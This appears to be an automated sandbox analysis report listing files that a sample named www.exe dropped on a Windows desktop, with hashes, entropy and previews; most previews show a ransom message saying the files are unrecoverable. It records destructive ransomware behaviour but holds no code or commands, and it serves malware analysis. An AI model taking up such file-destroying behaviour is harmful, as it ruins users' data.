    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Reputation:low
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\EFOYFBOLXA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\EFOYFBOLXA.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\Excel 2016.lnk
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Reputation:low
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ\BNAGMGSPLO.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ\EEGWXUHVUG.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\GAOBCVIQIJ\EFOYFBOLXA.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ\GAOBCVIQIJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ\QCFWYSKMHA.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\GAOBCVIQIJ\SUAVTZKNFL.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\Microsoft Edge.lnk
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\PALRGUCVEH.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\PWCCAWLGRE.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\QCFWYSKMHA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:true
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QCFWYSKMHA.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:true
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ\EFOYFBOLXA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:true
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ\PALRGUCVEH.png
    Process:C:\Users\user\Desktop\www.exe
    File Type:PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced
    Category:dropped
    Size (bytes):90512
    Entropy (8bit):7.989330699174835
    Encrypted:false
    SSDEEP:1536:mWq0cwb3kRQLCuuhrxtQKxPs3gbbNpWLuNLkpryqyL6tx0xc+LJoleZMWbrXT:mxvwIqRuHtQKdTbNQHJjgk0e+LqlGMW7
    MD5:BA2DA52F69073F45A529B2D0069B1FDE
    SHA1:A6172BDAC2C2D1502F9F97EE39E88FAE9B7241AA
    SHA-256:8CBC0F015F7B57B6135FAF0CF8ABBFE34DBF84F806CEAA97ABC8B412B8455EE4
    SHA-512:651866CBEB113D8305661650DE940C68FF5C45C3D7F966A29A100DA2F111BB9E5194E2A79E40FA7CA5ED173C7F985C5B9A4C20A5CD66CC4A4534CD599B9D1B64
    Malicious:false
    Preview: .PNG........IHDR.......!......W.. .IDATx..WP\...........y.........{o.>.N.r.......I.... lBZ..$...U........O..7.....S=].>|.L.D..^{..........W.....W......5...S".B...$;.Iv0. .YA(3.Pf...._.:......yV.....9.H..>".#.?.6/.UN.. $i....#I[.L.Hef0..~Tf..O.!b....A.rB...2{5.Y.>2....23.ev8..P$i.(O.....[....R..5.hT...cQdF K.E...L...;.'..,a...@.ia......`..L..*7.]~(..@.i.(K....o.....@...";.y.:...... J].8..ib...h.iqh..Q.bQ.E#M.E...&7..x.....)Y......^Ia.*v.}.(9......D..0.L.2?........"7.IN.....<...X.....n.?....,=.}I.$.........e......?.._.X....[...Q..EqV...Q.7......V.=.......e..(OZ.(e-.t..L...6/...(*3..%Rf.~ py.j.k.Y.<s..@..A.3B.g.....4=.a.j$i.h.B......~../.Uv,..p.i!.......S...EV0.....W#JY.$5.iZ.rA$.ht...g.C..-.o.e.....-..8...H...e...!.\.*7.]n..(.h.....L.C).D...~C,...v.}.o.....D......Bz..<=W.K.y.+..;.K..q.w$S.......w......4+.QV.%...6..5!....'...+X...o+...kq>.....n.B...,?.'.]....{.E.f....`..V....D...fC8..`$i>q..!.rBQf.P...8u-...-......... N.@...UN(..P$...}.
    C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:true
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ\SQSJKEBWDT.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ\SUAVTZKNFL.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\QNCYCDFIJJ\ZGGKNSUKOP.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\SQSJKEBWDT.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\SUAVTZKNFL.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Desktop\SUAVTZKNFL.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
